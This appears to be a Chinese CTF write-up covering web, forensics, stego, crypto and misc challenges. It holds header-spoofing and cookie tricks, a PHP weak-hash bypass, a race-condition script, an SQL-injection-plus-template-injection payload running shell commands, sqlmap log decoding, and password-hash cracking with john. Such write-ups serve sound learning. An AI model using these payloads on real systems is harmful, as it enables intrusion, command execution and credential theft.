Contents
  1. 1. Web-铜牌-1:babyWeb
  2. 2. Web-铜牌-3:babyWeb2
  3. 3. Web-银牌1-easy_flask
  4. 4. Forensic-日志分析
  5. 5. Forensic-weblogic
  6. 6. Forensic-特殊后门
  7. 7. Forensic-PC木马
  8. 8. Stego-啊哒
  9. 9. Crypto-affine
  10. 10. Misc-basic
  11. 11. Misc-进制转换
  12. 12. Misc-Crack it

留下了没有技术的泪水。。。

真的打起来比赛了才知道自己有多水,三个web都不难,但是在比赛的时候只做出来了一个,另外的其他方向输出也不理想,现在总结下原因就是,持续性的学习没有养成好的习惯,本来神码国赛结束后有很多的时间去用来学习,即使在两个月漫长的党课学习时间下也是有充足时间来学习的,可惜没有把握好,暑假虽然在Xman经过了短期的学习,感觉提升很多,但是在比赛后没有把握好技术提升的黄金时期,在接培训项目后,项目持续时间中没有保持持续学习,而是自我感觉良好,另外开学后,状态有点松散。。。在接下来的日子里,打好二进制的基础和继续进行Web这块的学习吧,把学习当成习惯。

Web-铜牌-1:babyWeb

这道题比较简单相当于Web的签到题

刚开始页面提示ip地址不被允许

伪造XFF头绕过

1
X-Forwarded-For: 127.0.0.1

ps:冒号和ip之间要有空格

然后会提示不是管理员

将cookie处的admin=0修改为admin=1即可

此处拓展下知识点,在比赛后想要复现赛题,使用$_SERVER['REMOTE_ADDR'];进行获取ip,但发现尝试各种方式并不能伪造成功,在问了大表哥后,发现ReMOTE_ADDR是安全的获取ip的方式,并不是题目中考察的,现对题目中考察ip伪造的获取ip函数进行简单整理

1
2
3
4
5
$_SERVER["HTTP_CLIENT_IP"];//可通过Client-IP伪造
$_SERVER["HTTP_X_FORWARDED_FOR"];//可通过X_Forward_For伪造
$_SERVER["HTTP_X_REMOTE_IP"];//可通过X-Remote-IP伪造
$_SERVER["HTTP_X_ORIGINATING_IP"];//可通过X-Originating-IP伪造
$_SERVER["HTTP_X_REMOTE_ADDR"];//可通过X-Remote-Addr伪造

Web-铜牌-3:babyWeb2

这个题考点在变量覆盖、php弱类型和条件竞争,在比赛的时候只绕过了变量覆盖和弱类型

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

include 'here.php';
$key = 'kelaibei';

if(isset($_GET['id'])){
$id = $_GET['id'];
@parse_str($id);
if ($key[99] != 'aabg7XSs' && md5($key[99]) == md5('aabg7XSs')) {
echo $hint;
}
else{
echo 'try again';
}
}
else{
show_source(__FILE__);
}
?>

payload为

1
http://47.105.148.65:29002/?id=key[99]=240610708

aabg7XSs的md5为0e087386482136013740957780965295

php弱类型漏洞会将md5以0开头的,当作和QNKCDZO的md5是相等的

绕过上面的代码后,会出现一个文件上传页面,让输入filenamecontain这里存在条件竞争

复现后端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$filename = @$_GET['filename'];
$content = @$_GET['content'];
$ip = $_SERVER['REMOTE_ADDR'];
$path = "./uploads/" . Sha1($ip);
if(!is_dir($path)){
mkdir($path,0777,true);
}
if(isset($filename) && isset($content) && $filename != "" && $content != "")
{
$url = "http://".gethostbyname(''). str_replace(".","",$path) . "/" . $filename;
$urltext = str_replace(".","",$path) . "/" . $filename;
echo "Flag is here,come on~ <a href='$url'>$urltext</a>";

file_put_contents($path . "/" . $filename,"flag{fa8d57d013fda75ad1e58e59b94b45c3}");
sleep(1);
file_put_contents($path . "/" . $filename,"Too slow!");
}
?>

这里采用手动上传写入文件,并且用一个脚本不停访问的方式来getflag

1
2
3
4
5
import requests

while True:
flag = requests.get("http://47.105.148.65:29002/uploads/1daf2370065175025c3cba123c53a12da8a93a5f/test.php").text
print(flag)

Web-银牌1-easy_flask

这个题考察点在sqli + ssti

比赛中没做出来,但是复现成功后一想,应该算是ssti中比较简单的题,sql注入和ssti均未有任何过滤,但是用sql注入联合查询的返回结果来进行ssti注入攻击的模式是第一次见

刚开始添加用户和输入的数据

提交后,提示添加成功,然后在Search Comments中输入刚才的用户名,来提交查询,查询结果会出现在Show Comments

在查询阶段存在注入

1541607466905

利用回显结果来进行ssti攻击

payload如下

1
http://47.105.148.65:29003/?username=GetFlag' union select 1,'{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /flag").read()}}',3 --+

1541607569957

Forensic-日志分析

下载access.log

urldecode

1
2
3
4
5
6
7
8
9
import urllib.request
f = open("access.log","r").readlines()
urllist = []
for i in f:
urllist.append(urllib.request.unquote(i))

s = open("access_decode.log","w")
s.writelines(urllist)
s.close()

打开解码后的日志文件

发现sqlmap盲注的流量,分析后发现其采用了二分法来注入

1
2
3
4
5
6
7
8
9
10
11
12
13
ORDER BY flag LIMIT 0,1),1,1))>64 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 

ORDER BY flag LIMIT 0,1),1,1))>96 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765

ORDER BY flag LIMIT 0,1),1,1))>112 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476

ORDER BY flag LIMIT 0,1),1,1))>104 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476

ORDER BY flag LIMIT 0,1),1,1))>100 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765

ORDER BY flag LIMIT 0,1),1,1))>102 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476

ORDER BY flag LIMIT 0,1),1,1))>101 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765

直接按其ASCII码和状态码来进行分析,这里应该可以写脚本,不过我用的手工一个一个的查,25个字符一共。。。

1
2
3
4
5
flag = [102,108,97,103,123,115,113,108,109,52,112,95,49,53,95,112,48,119,101,114,102,117,108,125]
flagchar = ""
for s in flag:
flagchar += chr(s)
print(flagchar)

最后将ascii码转为char即可

后来官方的Writeup发出来后,看到了自动化的脚本,简单分析了一波,发现注入出来的正确的Ascii码为最后一个返回正常页面的ascii码+1,并且测试其他不同的sqlmap注入出来的包,原理是通用的,脚本也是通用的,只需要修改的地方就是盲注流量定位处和要读取的文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# coding:utf-8
import re
import urllib

f = open("access.log","r")
lines = f.readlines()

datas = []
for line in lines:
t = urllib.unquote(line)
if '1765' in t and 'flag' in t: #过滤出正确返回的盲注flag 的记录
datas.append(t)
flag_ascii = {}
for data in datas:
matchOjb = re.search( r'LIMIT 0,1\),(.*?),1\)\)>(.*?) AND', data)
if matchOjb:
print(matchOjb.group(1),chr(int(matchOjb.group(2))+1))
key = int(matchOjb.group(1))
value = int(matchOjb.group(2)) + 1 #经测试发现,盲注的数据为最后一个显示200的ascii码 + 1
flag_ascii[key] = value #这里采用字典类型,循环更新,直至每位的最后一个显示200 的 ascii
flag = ""
for value in flag_ascii.values():
flag += chr(value)
print(flag)

Forensic-weblogic

按照题目要求需要寻找主机名,以十六进制的形式提交

hostname命令是查看主机名的命令,从流量来看,是一个暴力破解getshell的过程

直接在过滤器中查找hostname

1
http contains "hostname"

追踪http流

可以看到这里执行了hostname命令

往下看可以看到结果

Forensic-特殊后门

题目提示是不只有http协议后门,有可能是icmp、dns。。。。(好几种协议)

这里直接搜索flag,切换各种协议搜索

最终定位到了icmp协议

直接点开,发现提示flag is here

然后过滤icmp包

依次点开在数据包相同的位置有flag字符

1
flag{Icmp_backdoor_can_transfer-some_infomation}

Forensic-PC木马

CS是根据真实APT案例中的马改写的,做了简单的反VM虚拟机,反调试,进程检测,12小时的sleep。。。
一个思路是使用resource hacker查看资源,会发现其中有一个EXE,是内嵌模块,提取出来,皆可以在虚拟机中运行了,使用火绒剑就能抓到外连CC服务器的连接

1541659886672

右击保存为*.bin资源,将后缀保存为exe

1541660051217

在火绒剑中加载查看网络信息即可

1541660114437

Stego-啊哒

本来以为是伪加密和修复压缩包,纠结了很长时间,比赛结束后交流发现原来是在属性->详细信息->照相机型号的位置有一串十六进制编码,直接转换成字符串就是压缩包的密码

转换完后的字符串为

sdnisc_2018

即为压缩包的密码

Crypto-affine

y = 17*x-8 flag{szzyfimhyzd} 答案格式:flag{**}

逆算法太过复杂,直接去暴力碰撞即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
flag = "szzyfimhyzd"

flaglist = []


for i in flag:
flaglist.append(ord(i)-97)

flags = ""
for i in flaglist:
for j in range(0,26):
c = (17 * j - 8) % 26
if(c == i):
flags += chr(j+97)
print(flags)

Misc-basic

修改宽读为150,高度为900,然后生成的图片旋转水平翻转即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# coding=utf-8
from PIL import Image
import re
pic = Image.new("RGB",(150,900))
f = open('basic.txt','r')
imlist = []
for i in f.readlines():
i = re.sub('[( )\n]','',i)
imlist.append(i)

i=0
for x in range(0,150):
for y in range(0,900):
s = imlist[i].split(',')
pic.putpixel([x,y],(int(s[0]),int(s[1]),int(s[2])))
i+=1
print 135000-i
pic.show()
pic.save("flag.png")

Misc-进制转换

1
d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e

将其转换为十进制然后转换为字符拼接即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding=utf-8
import binascii
f = open("text.txt").read()
listf =f.split(" ")
flag = ""
for i in listf:
if "d" in i[0:1]:
flag += chr(int(i.replace("d","")))
if "x" in i[0:1]:
flag += chr(int(i.replace("x",""),16))
if "b" in i[0:1]:
flag += chr(int(i.replace("b",""),2))
if "o" in i[0:1]:
flag += chr(int(i.replace("o",""),8))
print(flag)

Misc-Crack it

下载后发现是个shadow文件

1
root:$6$HRMJoyGA$26FIgg6CU0bGUOfqFB0Qo9AE2LRZxG8N3H.3BK8t49wGlYbkFbxVFtGOZqVIq3qQ6k0oetDbn2aVzdhuVQ6US.:17770:0:99999:7:::

id为1时,采用md5进行加密;

id为5时,采用SHA256进行加密;

id为6时,采用SHA512进行加密。

那这里很明显就是用的SHA512进行加密了

详细的shadow文件解析请参考

https://blog.csdn.net/jinyuhongye/article/details/7950961

对于这种直接用john工具进行破解

1
2
3
4
root@kali:~/桌面# john -show shadow 
root:hellokitty:17770:0:99999:7:::

1 password hash cracked, 0 left

root用户的密码为hellokitty

写在最后,以后不想做图片隐写和其他的乱七八糟的Misc题了,在以后的CTF比赛里,只做Web、Bin(刚刚开始二进制方向的学习)、流量分析

Contents
  1. 1. Web-铜牌-1:babyWeb
  2. 2. Web-铜牌-3:babyWeb2
  3. 3. Web-银牌1-easy_flask
  4. 4. Forensic-日志分析
  5. 5. Forensic-weblogic
  6. 6. Forensic-特殊后门
  7. 7. Forensic-PC木马
  8. 8. Stego-啊哒
  9. 9. Crypto-affine
  10. 10. Misc-basic
  11. 11. Misc-进制转换
  12. 12. Misc-Crack it